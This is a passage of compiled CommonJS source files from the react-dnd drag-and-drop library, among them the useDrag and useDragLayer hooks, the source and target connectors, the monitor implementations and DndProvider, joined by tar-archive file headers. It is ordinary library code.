function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

/**
 * useDragSource hook
 * @param sourceSpec The drag source specification *
 */
function useDrag(spec) {
  var specRef = (0, _react.useRef)(spec);
  specRef.current = spec; // TODO: wire options into createSourceConnector

  (0, _invariant.invariant)(spec.item != null, 'item must be defined');
  (0, _invariant.invariant)(spec.item.type != null, 'item type must be defined');

  var _useDragSourceMonitor = (0, _drag.useDragSourceMonitor)(),
      _useDragSourceMonitor2 = _slicedToArray(_useDragSourceMonitor, 2),
      monitor = _useDragSourceMonitor2[0],
      connector = _useDragSourceMonitor2[1];

  (0, _drag.useDragHandler)(specRef, monitor, connector);
  var result = (0, _useMonitorOutput.useMonitorOutput)(monitor, specRef.current.collect || function () {
    return {};
  }, function () {
    return connector.reconnect();
  });
  var connectDragSource = (0, _react.useMemo)(function () {
    return connector.hooks.dragSource();
  }, [connector]);
  var connectDragPreview = (0, _react.useMemo)(function () {
    return connector.hooks.dragPreview();
  }, [connector]);
  (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function () {
    connector.dragSourceOptions = specRef.current.options || null;
    connector.reconnect();
  }, [connector]);
  (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function () {
    connector.dragPreviewOptions = specRef.current.previewOptions || null;
    connector.reconnect();
  }, [connector]);
  return [result, connectDragSource, connectDragPreview];
}cjs/hooks/useDragLayer.js000064400000004625151677306070011416 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useDragLayer = useDragLayer;

var _react = require("react");

var _useDragDropManager = require("./useDragDropManager");

var _useCollector3 = require("./internal/useCollector");

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

/**
 * useDragLayer Hook
 * @param collector The property collector
 */
function useDragLayer(collect) {
  var dragDropManager = (0, _useDragDropManager.useDragDropManager)();
  var monitor = dragDropManager.getMonitor();

  var _useCollector = (0, _useCollector3.useCollector)(monitor, collect),
      _useCollector2 = _slicedToArray(_useCollector, 2),
      collected = _useCollector2[0],
      updateCollected = _useCollector2[1];

  (0, _react.useEffect)(function () {
    return monitor.subscribeToOffsetChange(updateCollected);
  });
  (0, _react.useEffect)(function () {
    return monitor.subscribeToStateChange(updateCollected);
  });
  return collected;
}cjs/hooks/useDragDropManager.js000064400000001121151677306070012525 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useDragDropManager = useDragDropManager;

var _react = require("react");

var _invariant = require("@react-dnd/invariant");

var _DndContext = require("../common/DndContext");

/**
 * A hook to retrieve the DragDropManager from Context
 */
function useDragDropManager() {
  var _useContext = (0, _react.useContext)(_DndContext.DndContext),
      dragDropManager = _useContext.dragDropManager;

  (0, _invariant.invariant)(dragDropManager != null, 'Expected drag drop context');
  return dragDropManager;
}cjs/common/SourceConnector.js000064400000016017151677306070012305 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.SourceConnector = void 0;

var _wrapConnectorHooks = require("./wrapConnectorHooks");

var _isRef = require("../utils/isRef");

var _shallowequal = require("@react-dnd/shallowequal");

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var SourceConnector = /*#__PURE__*/function () {
  function SourceConnector(backend) {
    var _this = this;

    _classCallCheck(this, SourceConnector);

    this.hooks = (0, _wrapConnectorHooks.wrapConnectorHooks)({
      dragSource: function dragSource(node, options) {
        _this.clearDragSource();

        _this.dragSourceOptions = options || null;

        if ((0, _isRef.isRef)(node)) {
          _this.dragSourceRef = node;
        } else {
          _this.dragSourceNode = node;
        }

        _this.reconnectDragSource();
      },
      dragPreview: function dragPreview(node, options) {
        _this.clearDragPreview();

        _this.dragPreviewOptions = options || null;

        if ((0, _isRef.isRef)(node)) {
          _this.dragPreviewRef = node;
        } else {
          _this.dragPreviewNode = node;
        }

        _this.reconnectDragPreview();
      }
    });
    this.handlerId = null; // The drop target may either be attached via ref or connect function

    this.dragSourceRef = null;
    this.dragSourceOptionsInternal = null; // The drag preview may either be attached via ref or connect function

    this.dragPreviewRef = null;
    this.dragPreviewOptionsInternal = null;
    this.lastConnectedHandlerId = null;
    this.lastConnectedDragSource = null;
    this.lastConnectedDragSourceOptions = null;
    this.lastConnectedDragPreview = null;
    this.lastConnectedDragPreviewOptions = null;
    this.backend = backend;
  }

  _createClass(SourceConnector, [{
    key: "receiveHandlerId",
    value: function receiveHandlerId(newHandlerId) {
      if (this.handlerId === newHandlerId) {
        return;
      }

      this.handlerId = newHandlerId;
      this.reconnect();
    }
  }, {
    key: "reconnect",
    value: function reconnect() {
      this.reconnectDragSource();
      this.reconnectDragPreview();
    }
  }, {
    key: "reconnectDragSource",
    value: function reconnectDragSource() {
      var dragSource = this.dragSource; // if nothing has changed then don't resubscribe

      var didChange = this.didHandlerIdChange() || this.didConnectedDragSourceChange() || this.didDragSourceOptionsChange();

      if (didChange) {
        this.disconnectDragSource();
      }

      if (!this.handlerId) {
        return;
      }

      if (!dragSource) {
        this.lastConnectedDragSource = dragSource;
        return;
      }

      if (didChange) {
        this.lastConnectedHandlerId = this.handlerId;
        this.lastConnectedDragSource = dragSource;
        this.lastConnectedDragSourceOptions = this.dragSourceOptions;
        this.dragSourceUnsubscribe = this.backend.connectDragSource(this.handlerId, dragSource, this.dragSourceOptions);
      }
    }
  }, {
    key: "reconnectDragPreview",
    value: function reconnectDragPreview() {
      var dragPreview = this.dragPreview; // if nothing has changed then don't resubscribe

      var didChange = this.didHandlerIdChange() || this.didConnectedDragPreviewChange() || this.didDragPreviewOptionsChange();

      if (didChange) {
        this.disconnectDragPreview();
      }

      if (!this.handlerId) {
        return;
      }

      if (!dragPreview) {
        this.lastConnectedDragPreview = dragPreview;
        return;
      }

      if (didChange) {
        this.lastConnectedHandlerId = this.handlerId;
        this.lastConnectedDragPreview = dragPreview;
        this.lastConnectedDragPreviewOptions = this.dragPreviewOptions;
        this.dragPreviewUnsubscribe = this.backend.connectDragPreview(this.handlerId, dragPreview, this.dragPreviewOptions);
      }
    }
  }, {
    key: "didHandlerIdChange",
    value: function didHandlerIdChange() {
      return this.lastConnectedHandlerId !== this.handlerId;
    }
  }, {
    key: "didConnectedDragSourceChange",
    value: function didConnectedDragSourceChange() {
      return this.lastConnectedDragSource !== this.dragSource;
    }
  }, {
    key: "didConnectedDragPreviewChange",
    value: function didConnectedDragPreviewChange() {
      return this.lastConnectedDragPreview !== this.dragPreview;
    }
  }, {
    key: "didDragSourceOptionsChange",
    value: function didDragSourceOptionsChange() {
      return !(0, _shallowequal.shallowEqual)(this.lastConnectedDragSourceOptions, this.dragSourceOptions);
    }
  }, {
    key: "didDragPreviewOptionsChange",
    value: function didDragPreviewOptionsChange() {
      return !(0, _shallowequal.shallowEqual)(this.lastConnectedDragPreviewOptions, this.dragPreviewOptions);
    }
  }, {
    key: "disconnectDragSource",
    value: function disconnectDragSource() {
      if (this.dragSourceUnsubscribe) {
        this.dragSourceUnsubscribe();
        this.dragSourceUnsubscribe = undefined;
      }
    }
  }, {
    key: "disconnectDragPreview",
    value: function disconnectDragPreview() {
      if (this.dragPreviewUnsubscribe) {
        this.dragPreviewUnsubscribe();
        this.dragPreviewUnsubscribe = undefined;
        this.dragPreviewNode = null;
        this.dragPreviewRef = null;
      }
    }
  }, {
    key: "clearDragSource",
    value: function clearDragSource() {
      this.dragSourceNode = null;
      this.dragSourceRef = null;
    }
  }, {
    key: "clearDragPreview",
    value: function clearDragPreview() {
      this.dragPreviewNode = null;
      this.dragPreviewRef = null;
    }
  }, {
    key: "connectTarget",
    get: function get() {
      return this.dragSource;
    }
  }, {
    key: "dragSourceOptions",
    get: function get() {
      return this.dragSourceOptionsInternal;
    },
    set: function set(options) {
      this.dragSourceOptionsInternal = options;
    }
  }, {
    key: "dragPreviewOptions",
    get: function get() {
      return this.dragPreviewOptionsInternal;
    },
    set: function set(options) {
      this.dragPreviewOptionsInternal = options;
    }
  }, {
    key: "dragSource",
    get: function get() {
      return this.dragSourceNode || this.dragSourceRef && this.dragSourceRef.current;
    }
  }, {
    key: "dragPreview",
    get: function get() {
      return this.dragPreviewNode || this.dragPreviewRef && this.dragPreviewRef.current;
    }
  }]);

  return SourceConnector;
}();

exports.SourceConnector = SourceConnector;cjs/common/DropTargetMonitorImpl.js000064400000007417151677306070013443 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.DropTargetMonitorImpl = void 0;

var _invariant = require("@react-dnd/invariant");

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var isCallingCanDrop = false;

var DropTargetMonitorImpl = /*#__PURE__*/function () {
  function DropTargetMonitorImpl(manager) {
    _classCallCheck(this, DropTargetMonitorImpl);

    this.targetId = null;
    this.internalMonitor = manager.getMonitor();
  }

  _createClass(DropTargetMonitorImpl, [{
    key: "receiveHandlerId",
    value: function receiveHandlerId(targetId) {
      this.targetId = targetId;
    }
  }, {
    key: "getHandlerId",
    value: function getHandlerId() {
      return this.targetId;
    }
  }, {
    key: "subscribeToStateChange",
    value: function subscribeToStateChange(listener, options) {
      return this.internalMonitor.subscribeToStateChange(listener, options);
    }
  }, {
    key: "canDrop",
    value: function canDrop() {
      // Cut out early if the target id has not been set. This should prevent errors
      // where the user has an older version of dnd-core like in
      // https://github.com/react-dnd/react-dnd/issues/1310
      if (!this.targetId) {
        return false;
      }

      (0, _invariant.invariant)(!isCallingCanDrop, 'You may not call monitor.canDrop() inside your canDrop() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor');

      try {
        isCallingCanDrop = true;
        return this.internalMonitor.canDropOnTarget(this.targetId);
      } finally {
        isCallingCanDrop = false;
      }
    }
  }, {
    key: "isOver",
    value: function isOver(options) {
      if (!this.targetId) {
        return false;
      }

      return this.internalMonitor.isOverTarget(this.targetId, options);
    }
  }, {
    key: "getItemType",
    value: function getItemType() {
      return this.internalMonitor.getItemType();
    }
  }, {
    key: "getItem",
    value: function getItem() {
      return this.internalMonitor.getItem();
    }
  }, {
    key: "getDropResult",
    value: function getDropResult() {
      return this.internalMonitor.getDropResult();
    }
  }, {
    key: "didDrop",
    value: function didDrop() {
      return this.internalMonitor.didDrop();
    }
  }, {
    key: "getInitialClientOffset",
    value: function getInitialClientOffset() {
      return this.internalMonitor.getInitialClientOffset();
    }
  }, {
    key: "getInitialSourceClientOffset",
    value: function getInitialSourceClientOffset() {
      return this.internalMonitor.getInitialSourceClientOffset();
    }
  }, {
    key: "getSourceClientOffset",
    value: function getSourceClientOffset() {
      return this.internalMonitor.getSourceClientOffset();
    }
  }, {
    key: "getClientOffset",
    value: function getClientOffset() {
      return this.internalMonitor.getClientOffset();
    }
  }, {
    key: "getDifferenceFromInitialOffset",
    value: function getDifferenceFromInitialOffset() {
      return this.internalMonitor.getDifferenceFromInitialOffset();
    }
  }]);

  return DropTargetMonitorImpl;
}();

exports.DropTargetMonitorImpl = DropTargetMonitorImpl;cjs/common/DndProvider.js000064400000013541151677306070011411 0ustar00"use strict";

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.DndProvider = void 0;

var React = _interopRequireWildcard(require("react"));

var _DndContext = require("./DndContext");

function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }

function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }

var refCount = 0;
/**
 * A React component that provides the React-DnD context
 */

var DndProvider = (0, React.memo)(function (_ref) {
  var children = _ref.children,
      props = _objectWithoutProperties(_ref, ["children"]);

  var _getDndContextValue = getDndContextValue(props),
      _getDndContextValue2 = _slicedToArray(_getDndContextValue, 2),
      manager = _getDndContextValue2[0],
      isGlobalInstance = _getDndContextValue2[1]; // memoized from props

  /**
   * If the global context was used to store the DND context
   * then where theres no more references to it we should
   * clean it up to avoid memory leaks
   */


  React.useEffect(function () {
    if (isGlobalInstance) {
      refCount++;
    }

    return function () {
      if (isGlobalInstance) {
        refCount--;

        if (refCount === 0) {
          var context = getGlobalContext();
          context[instanceSymbol] = null;
        }
      }
    };
  }, []);
  return React.createElement(_DndContext.DndContext.Provider, {
    value: manager
  }, children);
});
exports.DndProvider = DndProvider;
DndProvider.displayName = 'DndProvider';

function getDndContextValue(props) {
  if ('manager' in props) {
    var _manager = {
      dragDropManager: props.manager
    };
    return [_manager, false];
  }

  var manager = createSingletonDndContext(props.backend, props.context, props.options, props.debugMode);
  var isGlobalInstance = !props.context;
  return [manager, isGlobalInstance];
}

var instanceSymbol = Symbol.for('__REACT_DND_CONTEXT_INSTANCE__');

function createSingletonDndContext(backend) {
  var context = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : getGlobalContext();
  var options = arguments.length > 2 ? arguments[2] : undefined;
  var debugMode = arguments.length > 3 ? arguments[3] : undefined;
  var ctx = context;

  if (!ctx[instanceSymbol]) {
    ctx[instanceSymbol] = (0, _DndContext.createDndContext)(backend, context, options, debugMode);
  }

  return ctx[instanceSymbol];
}

function getGlobalContext() {
  return typeof global !== 'undefined' ? global : window;
}cjs/common/wrapConnectorHooks.js000064400000004410151677306070013014 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.wrapConnectorHooks = wrapConnectorHooks;

var _react = require("react");

var _cloneWithRef = require("../utils/cloneWithRef");

function throwIfCompositeComponentElement(element) {
  // Custom components can no longer be wrapped directly in React DnD 2.0
  // so that we don't need to depend on findDOMNode() from react-dom.
  if (typeof element.type === 'string') {
    return;
  }

  var displayName = element.type.displayName || element.type.name || 'the component';
  throw new Error('Only native element nodes can now be passed to React DnD connectors.' + "You can either wrap ".concat(displayName, " into a <div>, or turn it into a ") + 'drag source or a drop target itself.');
}

function wrapHookToRecognizeElement(hook) {
  return function () {
    var elementOrNode = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;
    var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;

    // When passed a node, call the hook straight away.
    if (!(0, _react.isValidElement)(elementOrNode)) {
      var node = elementOrNode;
      hook(node, options); // return the node so it can be chained (e.g. when within callback refs
      // <div ref={node => connectDragSource(connectDropTarget(node))}/>

      return node;
    } // If passed a ReactElement, clone it and attach this function as a ref.
    // This helps us achieve a neat API where user doesn't even know that refs
    // are being used under the hood.


    var element = elementOrNode;
    throwIfCompositeComponentElement(element); // When no options are passed, use the hook directly

    var ref = options ? function (node) {
      return hook(node, options);
    } : hook;
    return (0, _cloneWithRef.cloneWithRef)(element, ref);
  };
}

function wrapConnectorHooks(hooks) {
  var wrappedHooks = {};
  Object.keys(hooks).forEach(function (key) {
    var hook = hooks[key]; // ref objects should be passed straight through without wrapping

    if (key.endsWith('Ref')) {
      wrappedHooks[key] = hooks[key];
    } else {
      var wrappedHook = wrapHookToRecognizeElement(hook);

      wrappedHooks[key] = function () {
        return wrappedHook;
      };
    }
  });
  return wrappedHooks;
}cjs/common/index.js000064400000001710151677306070010273 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});

var _DndContext = require("./DndContext");

Object.keys(_DndContext).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _DndContext[key];
    }
  });
});

var _DndProvider = require("./DndProvider");

Object.keys(_DndProvider).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _DndProvider[key];
    }
  });
});

var _DragPreviewImage = require("./DragPreviewImage");

Object.keys(_DragPreviewImage).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _DragPreviewImage[key];
    }
  });
});cjs/common/TargetConnector.js000064400000010320151677306070012262 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.TargetConnector = void 0;

var _shallowequal = require("@react-dnd/shallowequal");

var _wrapConnectorHooks = require("./wrapConnectorHooks");

var _isRef = require("../utils/isRef");

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var TargetConnector = /*#__PURE__*/function () {
  function TargetConnector(backend) {
    var _this = this;

    _classCallCheck(this, TargetConnector);

    this.hooks = (0, _wrapConnectorHooks.wrapConnectorHooks)({
      dropTarget: function dropTarget(node, options) {
        _this.clearDropTarget();

        _this.dropTargetOptions = options;

        if ((0, _isRef.isRef)(node)) {
          _this.dropTargetRef = node;
        } else {
          _this.dropTargetNode = node;
        }

        _this.reconnect();
      }
    });
    this.handlerId = null; // The drop target may either be attached via ref or connect function

    this.dropTargetRef = null;
    this.dropTargetOptionsInternal = null;
    this.lastConnectedHandlerId = null;
    this.lastConnectedDropTarget = null;
    this.lastConnectedDropTargetOptions = null;
    this.backend = backend;
  }

  _createClass(TargetConnector, [{
    key: "reconnect",
    value: function reconnect() {
      // if nothing has changed then don't resubscribe
      var didChange = this.didHandlerIdChange() || this.didDropTargetChange() || this.didOptionsChange();

      if (didChange) {
        this.disconnectDropTarget();
      }

      var dropTarget = this.dropTarget;

      if (!this.handlerId) {
        return;
      }

      if (!dropTarget) {
        this.lastConnectedDropTarget = dropTarget;
        return;
      }

      if (didChange) {
        this.lastConnectedHandlerId = this.handlerId;
        this.lastConnectedDropTarget = dropTarget;
        this.lastConnectedDropTargetOptions = this.dropTargetOptions;
        this.unsubscribeDropTarget = this.backend.connectDropTarget(this.handlerId, dropTarget, this.dropTargetOptions);
      }
    }
  }, {
    key: "receiveHandlerId",
    value: function receiveHandlerId(newHandlerId) {
      if (newHandlerId === this.handlerId) {
        return;
      }

      this.handlerId = newHandlerId;
      this.reconnect();
    }
  }, {
    key: "didHandlerIdChange",
    value: function didHandlerIdChange() {
      return this.lastConnectedHandlerId !== this.handlerId;
    }
  }, {
    key: "didDropTargetChange",
    value: function didDropTargetChange() {
      return this.lastConnectedDropTarget !== this.dropTarget;
    }
  }, {
    key: "didOptionsChange",
    value: function didOptionsChange() {
      return !(0, _shallowequal.shallowEqual)(this.lastConnectedDropTargetOptions, this.dropTargetOptions);
    }
  }, {
    key: "disconnectDropTarget",
    value: function disconnectDropTarget() {
      if (this.unsubscribeDropTarget) {
        this.unsubscribeDropTarget();
        this.unsubscribeDropTarget = undefined;
      }
    }
  }, {
    key: "clearDropTarget",
    value: function clearDropTarget() {
      this.dropTargetRef = null;
      this.dropTargetNode = null;
    }
  }, {
    key: "connectTarget",
    get: function get() {
      return this.dropTarget;
    }
  }, {
    key: "dropTargetOptions",
    get: function get() {
      return this.dropTargetOptionsInternal;
    },
    set: function set(options) {
      this.dropTargetOptionsInternal = options;
    }
  }, {
    key: "dropTarget",
    get: function get() {
      return this.dropTargetNode || this.dropTargetRef && this.dropTargetRef.current;
    }
  }]);

  return TargetConnector;
}();

exports.TargetConnector = TargetConnector;cjs/common/DndContext.js000064400000003716151677306070011246 0ustar00"use strict";

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.createDndContext = createDndContext;
exports.DndContext = void 0;

var React = _interopRequireWildcard(require("react"));

var _dndCore = require("dnd-core");

function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

/**
 * Create the React Context
 */
var DndContext = React.createContext({
  dragDropManager: undefined
});
/**
 * Creates the context object we're providing
 * @param backend
 * @param context
 */

exports.DndContext = DndContext;

function createDndContext(backend, context, options, debugMode) {
  return {
    dragDropManager: (0, _dndCore.createDragDropManager)(backend, context, options, debugMode)
  };
}cjs/common/DragPreviewImage.js000064400000004077151677306070012357 0ustar00"use strict";

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.DragPreviewImage = void 0;

var React = _interopRequireWildcard(require("react"));

function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

/*
 * A utility for rendering a drag preview image
 */
var DragPreviewImage = React.memo(function (_ref) {
  var connect = _ref.connect,
      src = _ref.src;
  React.useEffect(function () {
    if (typeof Image === 'undefined') return;
    var connected = false;
    var img = new Image();
    img.src = src;

    img.onload = function () {
      connect(img);
      connected = true;
    };

    return function () {
      if (connected) {
        connect(null);
      }
    };
  });
  return null;
});
exports.DragPreviewImage = DragPreviewImage;
DragPreviewImage.displayName = 'DragPreviewImage';cjs/common/DragSourceMonitorImpl.js000064400000011760151677306070013422 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.DragSourceMonitorImpl = void 0;

var _invariant = require("@react-dnd/invariant");

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

